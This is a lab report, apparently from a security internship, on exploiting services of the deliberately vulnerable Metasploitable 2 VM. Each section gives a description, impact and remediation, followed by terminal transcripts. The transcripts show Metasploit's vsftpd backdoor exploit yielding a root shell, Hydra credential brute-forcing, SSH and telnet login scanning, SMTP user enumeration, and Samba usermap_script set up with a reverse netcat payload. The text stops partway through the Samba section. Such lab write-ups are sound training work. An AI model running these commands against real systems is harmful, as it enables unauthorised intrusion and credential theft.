

Exploitation ports on Metasploitable 2

Created By:

Mrunmayee Shirodkar (Intern ID:2070)

Port Scan

Description:

A port scan is a cybersecurity method used to check which ports on a computer or network are open and what services are running on them. It works by sending small data requests to different ports and observing the responses to find out whether a port is open, closed, or filtered by a firewall.

Port scanning is often used by attackers in the early stages of an attack to gather information, but it is also widely used by system administrators to test network security. Tools such as Nmap, IP scanners, and Netcat are commonly used to identify active services and possible security gaps.

Impact:

The effect of port scanning depends on how it is used. If attackers perform a port scan, they can discover open ports and services that may contain vulnerabilities, increasing the chances of unauthorized access or data theft. Repeated scans can also slow down the network and raise alerts in security systems. On the other hand, when used legally by organizations, port scanning helps find weak points, detect unnecessary open ports, and improve overall network protection.

Severity:

Medium

Remedial:

To protect against risks related to port scanning, organizations should take proper preventive steps. All unused ports should be closed to reduce exposure. Firewalls should be correctly set up to allow only required traffic. Using IDS/IPS solutions can help detect and block suspicious scanning activities. Regular security checks and approved port scans should be carried out to find issues early. Updating systems regularly, applying security patches, using strong access controls, and implementing methods like network segmentation and port knocking can further improve security.

PUC:

```
root@kali: /home/kali

Session Actions Edit View Help
Currently scanning: 192.168.0.0/16 | Screen View: Unique Hosts
7 Captured ARP Req/Rep packets, from 7 hosts. Total size: 420

- IP At MAC Address Count Len MAC Vendor / Hostname
-
192.168.1.1 30:4f:75:df:cb:f7 1 60 Zhone Technologies, Inc.
192.168.1.13 08:00:27:ce:40:e6 1 60 PCS Systemtechnik GmbH
192.168.1.16 48:68:4a:ec:89:3e 1 60 Intel Corporate
192.168.1.4 ba:66:b2:02:ec:1e 1 60 Unknown vendor
192.168.1.2 a2:56:b8:77:28:67 1 60 Unknown vendor
192.168.1.3 62:74:38:f0:70:24 1 60 Unknown vendor
192.168.1.12 96:ae:53:29:37:d0 1 60 Unknown vendor

(root@kali)-[/home/kali]
$ nmap 192.168.1.13
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-29 01:28 EST
Nmap scan report for 192.168.1.13
Host is up (0.00088s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
```

```
root@kali: /home/kali

Session Actions Edit View Help
514/tcp    open  shell
1099/tcp   open  rmiregistry
1524/tcp   open  ingreslock
2049/tcp   open  nfs
2121/tcp   open  ccproxy-ftp
3306/tcp   open  mysql
5432/tcp   open  postgresql
5900/tcp   open  vnc
6000/tcp   open  X11
6667/tcp   open  irc
8009/tcp   open  ajp13
8180/tcp   open  unknown
MAC Address: 08:00:27:CE:40:E6 (PCS Systemtechnik/Oracle VirtualBox virtual N
IC)

Nmap done: 1 IP address (1 host up) scanned in 12.15 seconds

(root@kali)-[/home/kali]
$ nmap -sS -sV -O 192.168.1.13
/usr/lib/nmap/nmap: unrecognized option '-O'
See the output of nmap -h for a summary of options.

(root@kali)-[/home/kali]
$ nmap -sS -sV -O 192.168.1.13
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-29 01:30 EST
Nmap scan report for 192.168.1.13
Host is up (0.0025s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
```

```
root@kali: /home/kali

Session Actions Edit View Help
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:CE:40:E6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.43 seconds

(root@kali)-[/home/kali]
# whoami
root

(root@kali)-[/home/kali]
```

FTP Port 21 Exploit

Description:

FTP (File Transfer Protocol) uses port 21 and is often targeted by attackers because it is commonly exposed to the internet. If FTP is not properly configured, it can create serious security risks. Attackers may exploit weak or default passwords, enable anonymous login, or take advantage of outdated FTP server software.

Traditional FTP sends usernames, passwords, and data in plain text, which means attackers can easily capture this information using network sniffing tools. In some cases, insecure FTP servers allow unauthorized file uploads or downloads, letting attackers steal data or upload harmful files. Certain FTP servers also have known vulnerabilities that can be exploited to gain full control of the system.

Impact:

Exploiting FTP port 21 can lead to major security problems. Attackers may gain access to sensitive files, change or delete important data, or upload malware and backdoors. Stolen FTP credentials can also be reused to access other systems within the network.

A compromised FTP server can be used to spread malware, deface websites, or leak confidential data. This may result in data breaches, system damage, loss of trust, and legal or compliance issues for the organization.

Severity:

Critical

Remedial:

To reduce the risk of FTP port 21 exploitation, strong security practices should be followed. Anonymous FTP access should be disabled, and strong passwords must be enforced.

Whenever possible, FTP should be replaced with secure options like SFTP or FTPS, which encrypt data and credentials.

FTP servers should always be updated with the latest security patches. Firewalls should restrict access to port 21, allowing only trusted users or IP addresses. Regular log monitoring, security audits, and vulnerability scans should also be carried out to quickly detect and prevent suspicious activity related to FTP services.

PUC:

First way:

```
root@kali: /home/kali
Session Actions Edit View Help
(root@kali)-[/home/kali]
# msfconsole
Metasploit tip: View missing module options with show missing

      .;lx00KXXXX00xl:.
      ,o0WMMMMMMMMMMMMMMMMKd,
      'xNMMMMMMMMMMMMMMMMMMMMWx,
      :KMMMMMMMMMMMMMMMMMMMMMMMMMK:
      ,KMMMMMMMMMMMMMMMMMMMMMMMMMX,
      lWMMMMMMMMMMMMXd: ..      ..;dKMMMMMMMMMMMMMo
      xMMMMMMMMMMWd.            .oNMMMMMMMMMK
      oMMMMMMMMMX.            dMMMMMMMMMX
      .WMMMMMMMM:            :MMMMMMMM,
      xMMMMMMMMo            lMMMMMMMMO
      NMMMMMMMMW            ,ccccc0MMMMMMMMWlccccc;
      MMMMMMMMMX            ;KMMMMMMMMMMMMMMMMMX:
      NMMMMMMMMW.            ;KMMMMMMMMMMMMMMMMX:
      xMMMMMMMMd            ,0MMMMMMMMMK;
      .WMMMMMMMMc            '0MMMMMMO,
      lMMMMMMMMK.            .kMMO'
      dMMMMMMMMWd'
      cWMMMMMMMMMMMMNxc'
      .0MMMMMMMMMMMMMMMMWc
      ;0MMMMMMMMMMMMMMMMMo.
      .dNMMMMMMMMMMMMMo
      'o0WMMMMMo
      ..cdk00K;

      #####
      #++  #++
      ++:
      +#++:++#+
      ++:
      ++:
      ++:++:
```

```
root@kali: /home/kali
Session Actions Edit View Help
msf > search vsftpd 2.3.4

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  Description
-  -                                     -              -      -      -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
-      -
CHOST      CHOST            no        The local client address
CPORT      CPORT            no        The local client port
Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: socks4, socks5, socks5h, http, sapni
RHOSTS     RHOSTS           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/t/basics/using-metasploit.html
```

```
root@kali: /home/kali

Session Actions Edit View Help

:::~::~
Metasploit

=[ metasploit v6.4.99-dev ]
+ -- --=[ 2,572 exploits - 1,317 auxiliary - 1,683 payloads ]
+ -- --=[ 433 post - 49 encoders - 13 nops - 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.18
RHOSTS => 192.168.1.18
msf exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/interact
payload => cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.18:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.18:21 - USER: 331 Please specify the password.
[+] 192.168.1.18:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.18:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.12:37547 -> 192.168.1.18:6200)
at 2025-12-31 09:39:14 -0500

whoami
root
█
```


Second Way: Using Hydra

```
root@kali: /home/kali
Session Actions Edit View Help

(kali@kali)-[/home/kali]
PS> sudo su
[sudo] password for kali:
(root@kali)-[/home/kali]
# cat>>users.txt
msfadmin
service
user
postgres
^C

(root@kali)-[/home/kali]
# cat>>password.txt
msfadmin
service
user
postgres
^C

(root@kali)-[/home/kali]
# cat
^[[A
^C

(root@kali)-[/home/kali]
# cat users.txt
```

```
root@kali: /home/kali
Session Actions Edit View Help

msfadmin
service
user
postgres
^C

(root@kali)-[/home/kali]
# cat
^[[A
^C

(root@kali)-[/home/kali]
# cat users.txt
msfadmin
service
user
postgres

(root@kali)-[/home/kali]
# cat password.txt
msfadmin
service
user
postgres

(root@kali)-[/home/kali]
#
```



```
(root@kali)-[/home/kali]
# hydra -L users.txt -P password.txt 192.168.1.18 ftp
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organiza
tions, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-31 09:47:30
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per task
[DATA] attacking ftp://192.168.1.18:21/
[21][ftp] host: 192.168.1.18 login: postgres password: postgres
[21][ftp] host: 192.168.1.18 login: msfadmin password: msfadmin
[21][ftp] host: 192.168.1.18 login: user password: user
[21][ftp] host: 192.168.1.18 login: service password: service
1 of 1 target successfully completed, 4 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-12-31 09:47:35
```

```
(root@kali)-[/home/kali]
# ftp 192.168.1.18
Connected to 192.168.1.18.
220 (vsFTPd 2.3.4)
Name (192.168.1.18:kali): msfadmin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Third Way: Using Searchsploit

```
root@kali: /home/kali
Session Actions Edit View Help

(root@kali)-[/home/kali]
# searchsploit vsftpd 2.3.4

Exploit Title | Path
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb

Shellcodes: No Results
```

```
root@kali: /home/kali
Session Actions Edit View Help

msf > search vsftpd 2.3.4

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
---
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socks5h, http, sapni
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
```

```
root@kali: /home/kali
Session Actions Edit View Help

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Exploit target:

Id Name
--
0 Automatic

View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.18
RHOST => 192.168.1.18
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.18:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.18:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.18
RHOSTS => 192.168.1.18
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.18:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.18:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
```

Port 22 – SSH Exploit

Description:

Port 22 is used by SSH (Secure Shell), a protocol that allows users and administrators to securely access and manage systems remotely. SSH is widely used because it encrypts communication, but if it is not configured properly, it can become a major security risk. An SSH exploit happens when attackers take advantage of weak passwords, default login credentials, outdated SSH software, or poor security settings. Attackers often try brute-force attacks, where they repeatedly guess usernames and passwords, or credential-stuffing attacks using leaked credentials from other platforms.

Impact:

Exploiting SSH on port 22 can have very serious consequences. Once attackers gain access, they may obtain a command-line shell with user or even administrator (root) privileges. This allows them to steal sensitive data, change system configurations, delete important files, or install malware and backdoors. A compromised SSH service can also be used to move deeper into the network and attack other connected systems. Overall, an SSH exploit can lead to data breaches, service downtime, financial losses, and damage to the organization's reputation.

Severity:

Critical

Remedial:

To protect systems from SSH port 22 exploitation, strong security controls must be implemented. Password-based login should be disabled and replaced with key-based authentication, which is much more secure. Strong and unique credentials should be enforced, and direct root login should be disabled to limit damage if an account is compromised.

Keeping SSH software and operating systems updated is essential to fix known vulnerabilities. Firewalls should restrict access to port 22, allowing connections only from trusted IP addresses.

PUC:

```
root@kali: /home/kali
Session Actions Edit View Help

(root@kali)-[/home/kali]
# msfconsole -q
msf > search ssh_login

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/scanner/ssh/ssh_login . normal No SSH Login Check Scanner
1 auxiliary/scanner/ssh/ssh_login_pubkey . normal No SSH Public Key Login Scanner

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey

msf > use 0
msf auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

Name Current Setting Required Description
- - - - -
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
CreateSession true no Create a new session for every successful login
```

```
root@kali: /home/kali
Session Actions Edit View Help

View the full module info with the info, or info -d command.

msf auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.1.18
RHOSTS => 192.168.1.18
msf auxiliary(scanner/ssh/ssh_login) > set VERBOSE true
VERBOSE => true
msf auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/ssh/ssh_login) > set USER_FILE Desktop/username
USER_FILE => Desktop/username
msf auxiliary(scanner/ssh/ssh_login) > set PASS_FILE Desktop/password
PASS_FILE => Desktop/password
msf auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

Name Current Setting Required Description
- - - - -
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
CreateSession true no Create a new session for every successful login
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
```

```
root@kali: /home/kali

Session Actions Edit View Help

,1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] SSH session 1 opened (192.168.1.12:41689 → 192.168.1.18:22) at 2026-01-01 07:17:37 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/ssh/ssh_login) > sessions -i

Active sessions
=====
  Id  Name  Type      Information      Connection
  --  ---  --
  1           shell linux  SSH root @      192.168.1.12:41689 → 192.168.1.18:22 (192.168.1.18)

msf auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1...

whoami
msfadmin
vulnerable
-bash: line 3: vulnerable: command not found
uname -i
uname: extra operand '-'
Try 'uname --help' for more information.
uname -i
unknown
█
```

Port 23 Telnet Exploit

Description:

Port 23 is used by Telnet, a remote login protocol that allows users to access systems over a network. Telnet is considered insecure because it transmits usernames, passwords, and commands in plain text without encryption. Exploitation of Telnet typically occurs through credential sniffing, brute-force attacks, or abuse of default or weak passwords. Attackers monitoring network traffic can easily capture login credentials, or they may gain access by repeatedly attempting logins until successful.

Impact:

If Telnet on port 23 is exploited, attackers can gain unauthorized remote access to the target system. This can lead to data theft, system manipulation, malware installation, and complete system compromise. Because Telnet provides direct command-line access, a successful attack may allow attackers to execute malicious commands, create backdoors, or move laterally within the network. The use of Telnet significantly increases the risk of breaches, service disruption, and reputational damage.

Severity:

Critical

Remedial:

Port 23 is associated with the Telnet protocol, which is an insecure remote access service because it transmits data, including usernames and passwords, in plain text. Due to the lack of encryption, attackers can easily intercept Telnet traffic using network sniffing tools. This exposure allows unauthorized users to gain access to systems and perform malicious activities. To remediate Telnet exploits, the first and most effective step is to disable the Telnet service on all servers, workstations, and network devices. Disabling Telnet completely removes the vulnerable entry point. In situations where remote administration is required, Telnet should be replaced with SSH (Secure Shell), which provides encrypted and secure communication.

PUC:

```

root@kali: /home/kali
Session Actions Edit View Help

msf auxiliary(scanner/ssh/ssh_login) > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(scanner/telnet/telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):



| Name             | Current Setting | Required | Description                                                                                                                                                                                         |
|------------------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ANONYMOUS_LOGIN  | false           | yes      | Attempt to login with a blank username and password                                                                                                                                                 |
| BLANK_PASSWORDS  | false           | no       | Try blank passwords for all users                                                                                                                                                                   |
| BRUTEFORCE_SPEED | 5               | yes      | How fast to bruteforce, from 0 to 5                                                                                                                                                                 |
| CreateSession    | true            | no       | Create a new session for every successful login                                                                                                                                                     |
| DB_ALL_CREDS     | false           | no       | Try each user/password couple stored in the current database                                                                                                                                        |
| DB_ALL_PASS      | false           | no       | Add all passwords in the current database to the list                                                                                                                                               |
| DB_ALL_USERS     | false           | no       | Add all users in the current database to the list                                                                                                                                                   |
| DB_SKIP_EXISTING | none            | no       | Skip existing credentials stored in the current database (Accepted: none, user, user@realm)                                                                                                         |
| PASSWORD         |                 | no       | A specific password to authenticate with                                                                                                                                                            |
| PASS_FILE        |                 | no       | File containing passwords, one per line                                                                                                                                                             |
| RHOSTS           |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT            | 23              | yes      | The target port (TCP)                                                                                                                                                                               |
| STOP_ON_SUCCESS  | false           | yes      | Stop guessing when a credential works for a host                                                                                                                                                    |
| THREADS          | 1               | yes      | The number of concurrent threads (max one per host)                                                                                                                                                 |
| USERNAME         |                 | no       | A specific username to authenticate as                                                                                                                                                              |
| USERPASS_FILE    |                 | no       | File containing users and passwords separated by space, one pair per line                                                                                                                           |
| USER_AS_PASS     | false           | no       | Try the username as the password for all users                                                                                                                                                      |
| USER_FILE        |                 | no       | File containing usernames, one per line                                                                                                                                                             |
| VERBOSE          | true            | yes      | Whether to print output for all attempts                                                                                                                                                            |


```

```
root@kali:~/home/kali# telnet 192.168.1.18
Trying 192.168.1.18 ...
Connected to 192.168.1.18.
Escape character is '^J'.

metasploitable

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Wed Dec 31 09:10:09 EST 2025 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
```

```
View the full module info with the info, or info -d command.
```

```
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.1.18
RHOSTS => 192.168.1.18
msf auxiliary(scanner/telnet/telnet_login) > set USER_FILE /root/users.txt
USER_FILE => /root/users.txt
msf auxiliary(scanner/telnet/telnet_login) > set PASS_FILE /root/password.txt
PASS_FILE => /root/password.txt
msf auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/telnet/telnet_login) > run
[*] 192.168.1.18:23 - Msf::OptionValidateError One or more options failed to validate: USER_FILE, PASS_FILE
```


Port 25 – SMTP Exploit

Description:

Port 25 is used by SMTP (Simple Mail Transfer Protocol), which is responsible for sending emails from one mail server to another. While SMTP is an essential service, it can become a serious security risk if it is not configured correctly. SMTP exploitation usually happens when a mail server allows open mail relay, uses weak or no authentication, or runs outdated and vulnerable mail server software.

Impact:

The impact of exploiting SMTP on port 25 can be significant for an organization. Attackers can use the mail server to distribute spam or phishing emails, which can harm the organization's reputation and cause its domain or IP address to be blacklisted by email providers. Once blacklisted, legitimate emails may no longer reach customers or partners.

SMTP exploitation can also expose sensitive information, such as valid email usernames, making users targets for credential theft or social engineering attacks. In more serious situations, a compromised SMTP server can be used to spread malware or support larger cyberattacks. These issues can lead to financial losses, legal or compliance problems, and a loss of trust from users and clients.

Severity:

High

Remedial:

To protect against SMTP port 25 exploitation, organizations should implement strong security controls. Open mail relay must be disabled so that only authorized users and servers can send emails. SMTP authentication should be enforced, and access should be limited using proper permissions and firewall rules. 25, allowing connections only from trusted mail servers. Email security standards such as SPF, DKIM, and DMARC should be properly configured to prevent email spoofing and reduce phishing risks. Regular log monitoring, spam filtering, and security audits further help detect suspicious activity early and strengthen overall email security.

PUC:

```
root@kali: /home/kali
```

```
Session Actions Edit View Help

$ pwsh
PowerShell 7.5.4

(kali@kali)-[/home/kali]
└─$ msfconsole
Metasploit tip: Use the resource command to run commands from a file

# cowsay++
< metasploit >
```



```
#[ metasploit v6.4.99-dev ]
+ --[ 2,572 exploits - 1,317 auxiliary - 1,683 payloads ]
+ --[ 433 post - 49 encoders - 13 nops - 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search smtp_enum

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/scanner/smtp/smtp_enum . normal No SMTP User Enumeration Utility

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smtp/smtp_enum

msf > use auxiliary/scanner/smtp/smtp_enum
msf auxiliary(auxiliary/scanner/smtp/smtp_enum) > show options

Module options (auxiliary/scanner/smtp/smtp_enum):

Name Current Setting Required Description
--
RHOSTS yes The target host(s). see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 25 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
UNIONONLY true yes Skip Microsoft bannered servers when testing unix users
USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt yes The file that contains a list of probable users accounts.
```

```
View the full module info with the info, or info -d command.

msf auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf auxiliary(scanner/smtp/smtp_enum) >
msf auxiliary(scanner/smtp/smtp_enum) > exploit
[*] 192.168.1.10:25 - 192.168.1.10:25 Banner: 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)

^C[*] 192.168.1.10:25 - Caught interrupt from the console...
[*] Auxiliary module execution completed
msf auxiliary(scanner/smtp/smtp_enum) > exir
[-] Unknown command: exir. Did you mean exit? Run the help command for more details.
msf auxiliary(scanner/smtp/smtp_enum) > exit

(root@kali)-[/home/kali]
# nc 192.168.1.10 25
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
VRFY syslog
252 2.0.0 syslog
```

Ports 139 & 445 – Samba (SMB) Exploit

Description:

Ports 139 and 445 are used by Samba/SMB (Server Message Block), a service that allows file sharing, printer sharing, and user authentication between systems on a network. Port 139 works with NetBIOS, while port 445 communicates directly over TCP/IP. Samba is commonly used in Windows and Linux environments to share resources across the network.

Exploitation of Samba services usually happens when file shares are poorly configured, anonymous or guest access is enabled, weak passwords are used, or the Samba software is outdated.

Impact:

Exploiting ports 139 and 445 can cause serious security issues. Attackers may access confidential shared files, copy sensitive data, or modify and delete important information. Stolen credentials can be used to access other systems on the network.

In more severe situations, vulnerable SMB/Samba services can allow remote code execution, giving attackers full control of the system. Once inside, attackers can move laterally across the network, spread malware, escalate privileges, and disrupt services. These attacks can lead to data breaches, operational downtime, and significant damage to an organization's reputation.

Severity:

High

Remedial:

To reduce the risk of Samba/SMB exploitation, unnecessary SMB services should be disabled wherever they are not required. Access to ports 139 and 445 should be strictly controlled using firewalls and allowed only for trusted systems. Anonymous and guest access must be disabled, and strong password and authentication policies should be enforced.

Samba servers should always be updated with the latest security patches to fix known vulnerabilities. File shares must be configured following the principle of least privilege, ensuring users only have access to what they need. Additionally, enabling detailed logging, monitoring SMB traffic, and applying network segmentation can greatly reduce the chances of successful exploitation.

PUC:

```
root@kali: /home/kali
Session Actions Edit View Help

root@kali:~/home/kali# msfconsole -q
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    yes              The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     no               The target port (TCP)
  THREADS   1               The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.

msf auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf auxiliary(scanner/smb/smb_version) > run
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.23/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 192.168.1.10/445 - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 192.168.1.10 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_version) > exit

root@kali:~/home/kali#
# searchsploit samba | grep 3.0.20
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.29 - Remote Heap Overflow | linux/remote/7701.txt

root@kali:~/home/kali# msfconsole -q
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(scanner/smb/smb_version) > grep samba search username map script
1 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
Interact with a module by name or index. For example info 1, use 1 or use exploit/multi/samba/usermap_script
msf auxiliary(scanner/smb/smb_version) > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  ---      -
  CHOST     no               The local client address
  CPORT     no               The local client port
  Proxies   no               A proxy chain of format type:host:port[,type:host:port][...] Supported proxies: sapni, socks4, http, socks5, socks5h
  RHOSTS    yes              The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

  CHOST     no               The local client address
  CPORT     no               The local client port
  Proxies   no               A proxy chain of format type:host:port[,type:host:port][...] Supported proxies: sapni, socks4, http, socks5, socks5h
  RHOSTS    yes              The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     139              The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  ---      -
